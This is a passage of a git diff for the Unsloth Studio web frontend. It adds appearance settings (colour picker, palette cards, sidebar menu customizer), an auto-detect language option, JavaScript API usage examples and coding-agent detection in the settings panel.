+            aria-label={t("settings.appearance.custom.colorPicker.hue")}
+            onChange={(e) => emit({ ...hsv, h: Number(e.target.value) })}
+            className="h-3 w-full cursor-pointer appearance-none rounded-full outline-none [&::-moz-range-thumb]:size-3.5 [&::-moz-range-thumb]:rounded-full [&::-moz-range-thumb]:border-2 [&::-moz-range-thumb]:border-white [&::-moz-range-thumb]:bg-transparent [&::-webkit-slider-thumb]:size-3.5 [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:rounded-full [&::-webkit-slider-thumb]:border-2 [&::-webkit-slider-thumb]:border-white [&::-webkit-slider-thumb]:shadow-[0_0_0_1px_rgba(0,0,0,0.35)]"
+            style={{
+              background:
+                "linear-gradient(to right, #f00, #ff0, #0f0, #0ff, #00f, #f0f, #f00)",
+            }}
+          />
+          <div className="flex items-center gap-2">
+            <input
+              value={hexDraft.toUpperCase()}
+              onChange={(e) => setHexDraft(e.target.value)}
+              onBlur={commitHex}
+              onKeyDown={(e) => {
+                if (e.key === "Enter") {
+                  commitHex();
+                  e.currentTarget.blur();
+                }
+              }}
+              aria-label={t("settings.appearance.custom.colorPicker.hex")}
+              spellCheck={false}
+              className="h-8 w-full min-w-0 rounded-full border border-border bg-background px-3 font-mono text-xs text-foreground uppercase outline-none focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06]"
+            />
+            {eyeDropperCtor && (
+              <button
+                type="button"
+                onClick={() => void pickFromScreen()}
+                aria-label={t(
+                  "settings.appearance.custom.colorPicker.eyedropper",
+                )}
+                title={t("settings.appearance.custom.colorPicker.eyedropper")}
+                className="flex size-8 shrink-0 items-center justify-center rounded-full border border-border text-muted-foreground transition-colors hover:text-foreground"
+              >
+                <HugeiconsIcon icon={ColorPickerIcon} className="size-4" />
+              </button>
+            )}
+          </div>
+        </div>
+      </PopoverContent>
+    </Popover>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/create-key-form.tsx b/studio/frontend/src/features/settings/components/create-key-form.tsx
index e2ad23e59f..642d9ad320 100644
--- a/studio/frontend/src/features/settings/components/create-key-form.tsx
+++ b/studio/frontend/src/features/settings/components/create-key-form.tsx
@@ -64,7 +64,7 @@ export function CreateKeyForm({
                 onClick={() => setExpiry(p.value)}
                 aria-pressed={active}
                 className={cn(
-                  "inline-flex h-8 items-center rounded-full px-3.5 text-[12px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                  "inline-flex h-8 items-center rounded-full px-3.5 text-[12px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                   active
                     ? "hub-tab-toggle-pill text-foreground"
                     : "text-muted-foreground hover:text-foreground",
diff --git a/studio/frontend/src/features/settings/components/key-reveal-card.tsx b/studio/frontend/src/features/settings/components/key-reveal-card.tsx
index aa4f67348b..34517cf3bd 100644
--- a/studio/frontend/src/features/settings/components/key-reveal-card.tsx
+++ b/studio/frontend/src/features/settings/components/key-reveal-card.tsx
@@ -43,7 +43,7 @@ export function KeyRevealCard({
         onClick={handleCopy}
         className={cn(
           "flex w-full items-center justify-between gap-3 rounded-md border border-border bg-muted/40 px-3 py-2.5 font-mono text-sm transition-colors hover:bg-muted/60",
-          "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
+          "focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
           copied && "border-emerald-500/40 bg-emerald-500/10",
         )}
         aria-label={
@@ -68,7 +68,7 @@ export function KeyRevealCard({
           type="button"
           size="sm"
           onClick={onDone}
-          className="focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background"
+          className="focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           {t("common.done")}
         </Button>
diff --git a/studio/frontend/src/features/settings/components/language-select.tsx b/studio/frontend/src/features/settings/components/language-select.tsx
index 9d30e06147..1f388d6f2c 100644
--- a/studio/frontend/src/features/settings/components/language-select.tsx
+++ b/studio/frontend/src/features/settings/components/language-select.tsx
@@ -9,22 +9,23 @@ import {
   SelectValue,
 } from "@/components/ui/select";
 import {
+  AUTO_LOCALE,
   LOCALES,
-  isSupportedLocale,
+  isLocalePreference,
   setLocale,
   useT,
-  useLocale,
+  useLocalePreference,
 } from "@/i18n";
 
 export function LanguageSelect() {
   const t = useT();
-  const locale = useLocale();
+  const preference = useLocalePreference();
 
   return (
     <Select
-      value={locale}
+      value={preference}
       onValueChange={(value) => {
-        if (isSupportedLocale(value)) setLocale(value);
+        if (isLocalePreference(value)) setLocale(value);
       }}
     >
       <SelectTrigger
@@ -34,7 +35,14 @@ export function LanguageSelect() {
       >
         <SelectValue />
       </SelectTrigger>
-      <SelectContent>
+      <SelectContent
+        style={{
+          maxHeight: "min(18rem, var(--radix-select-content-available-height))",
+        }}
+      >
+        <SelectItem value={AUTO_LOCALE}>
+          {t("settings.appearance.language.autoDetect")}
+        </SelectItem>
         {Object.entries(LOCALES).map(([value, metadata]) => (
           <SelectItem key={value} value={value}>
             {metadata.nativeLabel}
diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
index 581c78ebd1..5bebefa84c 100644
--- a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
+++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
@@ -121,7 +121,7 @@ export function ModelAutoSwitchSection() {
       >
         <div className="flex flex-col items-end gap-1">
           <div className="flex items-center gap-2">
-            <div className="relative w-28">
+            <div className="flex items-center gap-1.5">
               <Input
                 type="number"
                 min={0}
@@ -130,9 +130,9 @@ export function ModelAutoSwitchSection() {
                 aria-label="Idle auto-unload seconds"
                 disabled={!settings?.enabled || isSaving}
                 onChange={(event) => setDraftIdleSeconds(event.target.value)}
-                className="h-8 w-full pr-8"
+                className="h-8 w-24"
               />
-              <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+              <span className="text-xs font-medium text-muted-foreground">
                 s
               </span>
             </div>
diff --git a/studio/frontend/src/features/settings/components/palette-cards.tsx b/studio/frontend/src/features/settings/components/palette-cards.tsx
new file mode 100644
index 0000000000..e6b920574b
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/palette-cards.tsx
@@ -0,0 +1,147 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { type TranslationKey, useT } from "@/i18n";
+import {
+  type Palette,
+  type ResolvedTheme,
+  usePalette,
+  useTheme,
+} from "../stores/theme-store";
+
+type PreviewColors = {
+  bg: string;
+  sidebar: string;
+  accent: string;
+  text: string;
+  border: string;
+};
+
+// Representative swatches per palette × resolved mode. Hardcoded (rather than
+// reading the live CSS variables) so every card previews its own palette while
+// only one palette is active on <html>. Sidebar tones are slightly exaggerated
+// so the two surfaces stay distinguishable at thumbnail size.
+const PREVIEWS: Record<Palette, Record<ResolvedTheme, PreviewColors>> = {
+  standard: {
+    light: {
+      bg: "#fefefd",
+      sidebar: "#f1f1ef",
+      accent: "#17b88b",
+      text: "#444444",
+      border: "#e4e4e0",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#17b88b",
+      text: "#b5b5b5",
+      border: "#303030",
+    },
+  },
+  classic: {
+    light: {
+      bg: "#ffffff",
+      sidebar: "#ededed",
+      accent: "#339cff",
+      text: "#4b4d50",
+      border: "#e6e6e6",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#4dabff",
+      text: "#b5b5b5",
+      border: "#303030",
+    },
+  },
+  minimal: {
+    light: {
+      bg: "#ffffff",
+      sidebar: "#f2f2f2",
+      accent: "#171717",
+      text: "#555555",
+      border: "#e2e2e2",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#ededed",
+      text: "#a8a8a8",
+      border: "#303030",
+    },
+  },
+};
+
+const OPTIONS: {
+  value: Palette;
+  labelKey: TranslationKey;
+}[] = [
+  { value: "standard", labelKey: "settings.appearance.palette.standard" },
+  { value: "classic", labelKey: "settings.appearance.palette.classic" },
+  { value: "minimal", labelKey: "settings.appearance.palette.minimal" },
+];
+
+function PalettePreview({ colors }: { colors: PreviewColors }) {
+  return (
+    <div
+      className="h-16 w-full overflow-hidden rounded-lg border"
+      style={{ backgroundColor: colors.bg, borderColor: colors.border }}
+      aria-hidden="true"
+    >
+      <div className="flex h-full">
+        <div
+          className="h-full w-1/4"
+          style={{ backgroundColor: colors.sidebar }}
+        />
+        <div className="flex flex-1 flex-col justify-center gap-1.5 px-2.5">
+          <span
+            className="h-1.5 w-3/4 rounded-full"
+            style={{ backgroundColor: colors.text }}
+          />
+          <span
+            className="h-1.5 w-1/2 rounded-full opacity-60"
+            style={{ backgroundColor: colors.text }}
+          />
+          <span
+            className="h-2.5 w-8 rounded-full"
+            style={{ backgroundColor: colors.accent }}
+          />
+        </div>
+      </div>
+    </div>
+  );
+}
+
+export function PaletteCards() {
+  const t = useT();
+  const { resolved } = useTheme();
+  const { palette, setPalette } = usePalette();
+  return (
+    <div className="grid w-full grid-cols-1 gap-3 sm:grid-cols-3">
+      {OPTIONS.map((opt) => {
+        const active = palette === opt.value;
+        return (
+          <button
+            key={opt.value}
+            type="button"
+            onClick={() => setPalette(opt.value)}
+            aria-pressed={active}
+            data-palette-value={opt.value}
+            // The active ring is CSS-driven off html[data-palette] (see
+            // .palette-card in index.css) so it moves in the same style
+            // pass that swaps the tokens; keying it off React state leaves
+            // the ring on the old card until the app finishes re-rendering.
+            className="palette-card flex flex-col gap-2 rounded-xl border border-border p-2.5 text-left transition-colors focus-visible:border-ring focus-visible:outline-none"
+          >
+            <PalettePreview colors={PREVIEWS[opt.value][resolved]} />
+            <div className="flex items-center gap-2 px-0.5">
+              <span className="text-sm font-medium text-foreground">
+                {t(opt.labelKey)}
+              </span>
+            </div>
+          </button>
+        );
+      })}
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/settings-row.tsx b/studio/frontend/src/features/settings/components/settings-row.tsx
index 3c049d2f99..3cf9822811 100644
--- a/studio/frontend/src/features/settings/components/settings-row.tsx
+++ b/studio/frontend/src/features/settings/components/settings-row.tsx
@@ -24,6 +24,7 @@ export function SettingsRow({
 }) {
   return (
     <div
+      data-settings-label={label}
       className={cn(
         "flex justify-between gap-6 py-3",
         alignTop ? "items-start" : "items-center",
diff --git a/studio/frontend/src/features/settings/components/settings-section.tsx b/studio/frontend/src/features/settings/components/settings-section.tsx
index 8b4521c9f4..1260ce70d3 100644
--- a/studio/frontend/src/features/settings/components/settings-section.tsx
+++ b/studio/frontend/src/features/settings/components/settings-section.tsx
@@ -13,7 +13,7 @@ export function SettingsSection({
   children: ReactNode;
 }) {
   return (
-    <section className="flex flex-col">
+    <section data-settings-label={title} className="flex flex-col">
       <div className="mb-1 flex flex-col gap-0.5">
         <h2 className="text-base font-semibold font-heading text-foreground">
           {title}
@@ -24,7 +24,14 @@ export function SettingsSection({
           </p>
         ) : null}
       </div>
-      <div className="flex flex-col divide-y divide-border/60">{children}</div>
+      {/* No per-row dividers: rows inside a titled section are related.
+          SettingsGroupDivider separates unrelated clusters. */}
+      <div className="flex flex-col">{children}</div>
     </section>
   );
 }
+
+/** Divider between unrelated clusters of rows inside one section. */
+export function SettingsGroupDivider() {
+  return <div className="my-1 border-t border-border/60" />;
+}
diff --git a/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx b/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx
new file mode 100644
index 0000000000..e7e6576eef
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  CloudIcon,
+  CpuIcon,
+  CursorInfo02Icon,
+  DragDropVerticalIcon,
+  Globe02Icon,
+  HelpCircleIcon,
+  Logout05Icon,
+  Message01Icon,
+  Moon02Icon,
+  PaintBrush02Icon,
+  PowerIcon,
+  Settings02Icon,
+  UserIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { Reorder, useDragControls } from "motion/react";
+import { Switch } from "@/components/ui/switch";
+import { useT } from "@/i18n";
+import type { TranslationKey } from "@/i18n";
+import type { IconSvgElement } from "@hugeicons/react";
+import type { SidebarMenuItemPref } from "../stores/appearance-custom-store";
+import { useAppearanceCustomStore } from "../stores/appearance-custom-store";
+
+const ITEM_META: Record<
+  SidebarMenuItemPref["id"],
+  { icon: IconSvgElement; labelKey: TranslationKey }
+> = {
+  api: { icon: Globe02Icon, labelKey: "shell.navigation.api" },
+  darkMode: { icon: Moon02Icon, labelKey: "settings.appearance.sidebarMenu.darkModeToggle" },
+  guidedTour: { icon: CursorInfo02Icon, labelKey: "shell.navigation.guidedTour" },
+  profile: { icon: UserIcon, labelKey: "settings.tabs.profile" },
+  appearance: { icon: PaintBrush02Icon, labelKey: "settings.tabs.appearance" },
+  resources: { icon: CpuIcon, labelKey: "settings.tabs.resources" },
+  chat: { icon: Message01Icon, labelKey: "settings.tabs.chat" },
+  connections: { icon: CloudIcon, labelKey: "settings.tabs.connections" },
+};
+
+function FixedRow({ icon, label }: { icon: IconSvgElement; label: string }) {
+  return (
+    <div className="flex h-9 items-center gap-2.5 rounded-lg px-2 text-muted-foreground/70">
+      {/* Spacer where the drag handle sits on movable rows. */}
+      <span className="size-4" aria-hidden="true" />
+      <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-4" />
+      <span className="text-[13px]">{label}</span>
+    </div>
+  );
+}
+
+function MovableRow({ item }: { item: SidebarMenuItemPref }) {
+  const t = useT();
+  const controls = useDragControls();
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
+  const meta = ITEM_META[item.id];
+  return (
+    <Reorder.Item
+      value={item.id}
+      dragListener={false}
+      dragControls={controls}
+      layout="position"
+      // Rows sit flat on the dialog surface; the dragged row lifts above its
+      // siblings so it stays readable while crossing them.
+      whileDrag={{
+        backgroundColor: "var(--popover)",
+        boxShadow: "0 4px 16px rgb(0 0 0 / 0.18)",
+        zIndex: 10,
+      }}
+      className="relative flex h-9 items-center gap-2.5 rounded-lg px-2"
+    >
+      <button
+        type="button"
+        aria-label={t("settings.appearance.sidebarMenu.dragToReorder")}
+        onPointerDown={(e) => {
+          e.preventDefault();
+          controls.start(e);
+        }}
+        className="flex size-4 shrink-0 cursor-grab touch-none items-center justify-center text-muted-foreground active:cursor-grabbing"
+      >
+        <HugeiconsIcon
+          icon={DragDropVerticalIcon}
+          strokeWidth={1.75}
+          className="size-4"
+        />
+      </button>
+      <HugeiconsIcon
+        icon={meta.icon}
+        strokeWidth={1.75}
+        className="size-4 text-foreground/80"
+      />
+      <span className="text-[13px] text-foreground">{t(meta.labelKey)}</span>
+      <Switch
+        className="ml-auto"
+        checked={item.visible}
+        onCheckedChange={(visible) =>
+          patch({
+            sidebarMenu: sidebarMenu.map((entry) =>
+              entry.id === item.id ? { ...entry, visible } : entry,
+            ),
+          })
+        }
+      />
+    </Reorder.Item>
+  );
+}
+
+/**
+ * Show/hide and reorder the optional sidebar profile menu items. The pinned
+ * entries (Settings on top; Help, Log out, Shutdown below) are rendered as
+ * static rows so the final menu layout is obvious.
+ */
+export function SidebarMenuCustomizer() {
+  const t = useT();
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <div className="flex flex-col rounded-xl border border-border/70 p-1.5">
+      <FixedRow icon={Settings02Icon} label={t("shell.navigation.settings")} />
+      <Reorder.Group
+        axis="y"
+        values={sidebarMenu.map((item) => item.id)}
+        onReorder={(ids: SidebarMenuItemPref["id"][]) =>
+          patch({
+            sidebarMenu: ids.flatMap(
+              (id) => sidebarMenu.find((entry) => entry.id === id) ?? [],
+            ),
+          })
+        }
+        className="flex flex-col"
+      >
+        {sidebarMenu.map((item) => (
+          <MovableRow key={item.id} item={item} />
+        ))}
+      </Reorder.Group>
+      <div className="mx-2 my-1 border-t border-border/70" />
+      <FixedRow icon={HelpCircleIcon} label={t("common.help")} />
+      <FixedRow icon={Logout05Icon} label={t("shell.navigation.logOut")} />
+      <FixedRow icon={PowerIcon} label={t("common.shutdown")} />
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index aef2e7ffe6..86125585cc 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -16,6 +16,7 @@ import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { useChatRuntimeStore } from "@/features/chat";
 import { useT } from "@/i18n";
 import type { TranslationKey } from "@/i18n";
+import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
@@ -25,52 +26,68 @@ import {
   InformationCircleIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useEffect, useMemo, useState } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
 import { Streamdown } from "streamdown";
+import { loadCodingAgents } from "../api/coding-agents";
 import {
   type OpenAIAutoSwitchSettings,
   loadOpenAIAutoSwitchSettings,
   updateOpenAIAutoSwitchSettings,
 } from "../api/openai-auto-switch";
+import { buildAgentCommand, isLoopbackHost, normalizeHost } from "./agent-command";
 
-// API call type; OS axis applies to curl only (Python is OS-identical).
 type ExampleType =
   | "curl"
   | "python"
+  | "javascript"
   | "curlTools"
   | "pythonTools"
+  | "javascriptTools"
   | "curlAdvanced"
-  | "pythonAdvanced";
+  | "pythonAdvanced"
+  | "javascriptAdvanced";
 type Os = "unix" | "windows";
-// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools.
 type Variant = "plain" | "tools" | "advanced";
 
 const TYPE_TABS: { id: ExampleType; label: string }[] = [
   { id: "curl", label: "curl" },
   { id: "python", label: "Python" },
+  { id: "javascript", label: "JavaScript" },
   { id: "curlTools", label: "curl + tools" },
   { id: "pythonTools", label: "Python + tools" },
+  { id: "javascriptTools", label: "JavaScript + tools" },
   { id: "curlAdvanced", label: "curl + advanced" },
   { id: "pythonAdvanced", label: "Python + advanced" },
+  { id: "javascriptAdvanced", label: "JavaScript + advanced" },
 ];
 
 const TYPE_LABEL_KEY: Partial<Record<ExampleType, TranslationKey>> = {
   curlTools: "settings.apiKeys.exampleCurlTools",
   pythonTools: "settings.apiKeys.examplePythonTools",
+  javascriptTools: "settings.apiKeys.exampleJavaScriptTools",
   curlAdvanced: "settings.apiKeys.exampleCurlAdvanced",
   pythonAdvanced: "settings.apiKeys.examplePythonAdvanced",
+  javascriptAdvanced: "settings.apiKeys.exampleJavaScriptAdvanced",
 };
 
 const OS_AWARE: Record<ExampleType, boolean> = {
   curl: true,
   python: false,
+  javascript: false,
   curlTools: true,
   pythonTools: false,
+  javascriptTools: false,
   curlAdvanced: true,
   pythonAdvanced: false,
+  javascriptAdvanced: false,
 };
 
 const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
+const JAVASCRIPT_TYPES = new Set<ExampleType>([
+  "javascript",
+  "javascriptTools",
+  "javascriptAdvanced",
+]);
 
 const PROMPT = "Can Unsloth Studio do API calling?";
 // Auto-switch demo: a second call naming a different downloaded GGUF so the
@@ -82,7 +99,6 @@ const SWITCH_MODEL = "your-other-downloaded-GGUF";
 const SWITCH_PROMPT = "Now answer as a different model.";
 // web_search + python + terminal are the reliable built-in tools.
 const TOOLS = ["web_search", "python", "terminal"];
-// Sampling/thinking knobs for the "+ advanced" examples.
 const ADV = {
   temperature: 0.7,
   top_p: 0.8,
@@ -93,37 +109,42 @@ const ADV = {
 } as const;
 
 const DOC_LINKS = [
-  {
-    label: "Claude Code",
-    href: "https://unsloth.ai/docs/basics/claude-code",
-  },
-  {
-    label: "Codex",
-    href: "https://unsloth.ai/docs/basics/codex",
-  },
-  {
-    label: "OpenClaw",
-    href: "https://unsloth.ai/docs/integrations/openclaw",
-  },
-  {
-    label: "OpenCode",
-    href: "https://unsloth.ai/docs/integrations/opencode",
-  },
-  {
-    label: "Hermes Agent",
-    href: "https://unsloth.ai/docs/integrations/hermes-agent",
-  },
+  { label: "Claude Code", href: "https://unsloth.ai/docs/basics/claude-code" },
+  { label: "Codex", href: "https://unsloth.ai/docs/basics/codex" },
+  { label: "OpenClaw", href: "https://unsloth.ai/docs/integrations/openclaw" },
+  { label: "OpenCode", href: "https://unsloth.ai/docs/integrations/opencode" },
+  { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" },
 ];
 
-// JSON-encode; also a valid Python literal, so odd model names never break output.
+// Falls back to this list until the backend's installed-CLI check resolves;
+// kept in sync with the `unsloth start <agent>` subcommands and with
+// CODING_AGENTS in studio/backend/utils/coding_agents.py.
+const DEFAULT_AGENTS = [
+  "claude",
+  "codex",
+  "openclaw",
+  "opencode",
+  "hermes",
+  "pi",
+];
+// The agent selection resets to this whenever an auto-pick is no longer
+// trustworthy (leaving loopback, or the only compatible detected agent
+// stops being compatible) rather than lingering on a stale choice.
+const DEFAULT_AGENT = "claude";
+const AGENT_LABELS: Record<string, string> = {
+  claude: "Claude Code",
+  codex: "Codex",
+  openclaw: "OpenClaw",
+  opencode: "OpenCode",
+  hermes: "Hermes",
+  pi: "Pi",
+};
+
 const j = (s: string): string => JSON.stringify(s);
-// Embed in a POSIX single-quoted string: close, escaped quote, reopen.
 const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
-// Embed in a PowerShell single-quoted string: '' is a literal quote.
 const psSingle = (s: string): string => s.replace(/'/g, "''");
 const toolsJson = TOOLS.map(j).join(", ");
 
-// Shared body fields (after model/messages, before stream) per variant.
 function bodyExtraLines(variant: Variant, indent: string): string[] {
   const lines: string[] = [];
   if (variant === "advanced") {
@@ -152,7 +173,6 @@ function curlBodyPretty(model: string, variant: Variant): string {
   return `{\n${lines.join("\n")}\n  }`;
 }
 
-// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe).
 function winBody(model: string, variant: Variant): string {
   const body: Record<string, unknown> = {
     model,
@@ -172,7 +192,7 @@ function winBody(model: string, variant: Variant): string {
     body.enabled_tools = TOOLS;
   }
   body.stream = true;
-  return JSON.stringify(body);
+  return JSON.stringify(body, null, 2);
 }
 
 // A leading comment (valid in both bash and PowerShell) noting the model field
@@ -193,7 +213,6 @@ function curlUnix(
   -d '${shSingle(curlBodyPretty(model, variant))}'`;
 }
 
-// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file.
 function curlWindows(
   base: string,
   key: string,
@@ -233,7 +252,6 @@ function pythonSnippet(
   variant: Variant,
   autoSwitch: boolean,
 ): string {
-  // Standard OpenAI args are named; Unsloth extensions go through extra_body.
   const named =
     variant === "advanced"
       ? `
@@ -258,7 +276,6 @@ function pythonSnippet(
 ${extra.join("\n")}
     },`
     : "";
-  // With tools, some chunks are tool-lifecycle events with no choices; guard it.
   const loop =
     variant !== "plain"
       ? `for chunk in response:
@@ -281,6 +298,70 @@ response = client.chat.completions.create(
 ${loop}${autoSwitch ? pythonSwitchDemo() : ""}`;
 }
 
+function javascriptSnippet(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+  autoSwitch: boolean,
+): string {
+  const options: string[] = [];
+  if (variant === "advanced") {
+    options.push(`  temperature: ${ADV.temperature},`);
+    options.push(`  top_p: ${ADV.top_p},`);
+    options.push(`  max_tokens: ${ADV.max_tokens},`);
+  }
+
+  // The JS SDK forwards unknown options into the request body, so these go at the
+  // top level (the Python SDK needs them under extra_body instead).
+  if (variant === "advanced") {
+    options.push(`  top_k: ${ADV.top_k},`);
+    options.push(`  min_p: ${ADV.min_p},`);
+    options.push(`  repetition_penalty: ${ADV.repetition_penalty},`);
+    options.push(`  enable_thinking: true,`);
+  }
+  if (variant !== "plain") {
+    options.push(`  enable_tools: true,`);
+    options.push(`  enabled_tools: [${toolsJson}],`);
+  }
+
+  const trailingOptions = options.length ? `\n${options.join("\n")}` : "";
+
+  return `import OpenAI from "openai";
+
+const client = new OpenAI({
+  baseURL: ${j(`${base}/v1`)},
+  apiKey: ${j(key)},
+});
+
+const response = await client.chat.completions.create({
+  model: ${j(model)},
+  messages: [{ role: "user", content: ${j(PROMPT)} }],${trailingOptions}
+  stream: true,
+});
+
+for await (const chunk of response) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}${autoSwitch ? javascriptSwitchDemo() : ""}`;
+}
+
+function javascriptSwitchDemo(): string {
+  return `
+
+// "Switch model by request" is on: replace the model below with another GGUF you
+// have downloaded and Studio loads it before serving. Unknown names keep serving
+// the current model.
+const switchResponse = await client.chat.completions.create({
+  model: ${j(SWITCH_MODEL)},
+  messages: [{ role: "user", content: ${j(SWITCH_PROMPT)} }],
+  stream: true,
+});
+
+for await (const chunk of switchResponse) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}`;
+}
+
 function buildSnippets(
   base: string,
   key: string,
@@ -292,17 +373,24 @@ function buildSnippets(
   return {
     curl: curl(base, key, model, "plain", autoSwitch),
     python: pythonSnippet(base, key, model, "plain", autoSwitch),
+    javascript: javascriptSnippet(base, key, model, "plain", autoSwitch),
     curlTools: curl(base, key, model, "tools", autoSwitch),
     pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch),
+    javascriptTools: javascriptSnippet(base, key, model, "tools", autoSwitch),
     curlAdvanced: curl(base, key, model, "advanced", autoSwitch),
     pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch),
+    javascriptAdvanced: javascriptSnippet(
+      base,
+      key,
+      model,
+      "advanced",
+      autoSwitch,
+    ),
   };
 }
 
 const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY";
 const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL";
-
-// Default ON: when a tunnel exists, examples should show the public base_url.
 const USE_TUNNEL_KEY = "unsloth_api_use_tunnel";
 
 function readUseTunnelPref(): boolean {
@@ -319,11 +407,10 @@ function writeUseTunnelPref(value: boolean): void {
   try {
     window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false");
   } catch {
-    // Non-fatal: the toggle still applies for this session.
+    // Non-fatal
   }
 }
 
-// Active local checkpoint as repo[:variant]; external/none falls back to a default.
 function useLoadedModelName(): string {
   const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint);
   const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
@@ -338,7 +425,17 @@ function useLoadedModelName(): string {
   }, [checkpoint, ggufVariant]);
 }
 
-// shiki highlighting via the app's shared code plugin + themes (same as chat).
+// Backend PATH detection is only safe in the desktop app, where the UI owns
+// the local backend. A browser loopback URL may be an SSH/local port forward.
+function canUseLocalAgentDetection(base: string): boolean {
+  if (!isTauri) return false;
+  try {
+    return isLoopbackHost(normalizeHost(new URL(base).hostname));
+  } catch {
+    return false;
+  }
+}
+
 const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
   typeof unslothLightTheme,
   typeof unslothDarkTheme,
@@ -352,7 +449,6 @@ function HighlightedCode({
   code: string;
   language: string;
 }) {
-  // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence).
   const markdown = useMemo(
     () => `\`\`\`${language}\n${code}\n\`\`\``,
     [code, language],
@@ -383,18 +479,101 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
+  const [copiedAgent, setCopiedAgent] = useState(false);
+  const [agent, setAgent] = useState<string>(DEFAULT_AGENT);
+  const [availableAgents, setAvailableAgents] =
+    useState<string[]>(DEFAULT_AGENTS);
+  const [detectedAgents, setDetectedAgents] = useState<string[]>([]);
+  // True once the user has picked an agent themselves; guards the detection
+  // effect below from clobbering that choice if it resolves afterward.
+  const agentPickedByUserRef = useRef(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+  const origin = typeof window !== "undefined" ? window.location.origin : "";
+  const base =
+    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
+  const localAgentDetection = canUseLocalAgentDetection(base);
   // null while loading; the same setting the General tab exposes (shared cache).
   const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
     null,
   );
   const [savingAutoSwitch, setSavingAutoSwitch] = useState(false);
 
-  // Tunnel may start after the first /api/health read; refresh so it surfaces here.
   useEffect(() => {
     void fetchDeviceType({ force: true });
   }, []);
 
+  // Fetching is the only job of this effect: populate availableAgents/
+  // detectedAgents (or clear them). Which agent gets auto-picked from that
+  // list is derived separately below, so it can react to the loaded model
+  // changing too, not just a fresh fetch.
+  useEffect(() => {
+    // Browser loopback URLs can be SSH/local forwards, so only the desktop app
+    // may use backend PATH checks to mark or auto-pick local agents.
+    if (!localAgentDetection) {
+      setDetectedAgents([]);
+      // A previously auto-picked agent was only ever verified against the
+      // Studio backend's PATH, which is meaningless now that this panel no
+      // longer targets a loopback base -- don't leave it selected, but
+      // never touch a choice the user made by hand.
+      if (!agentPickedByUserRef.current) {
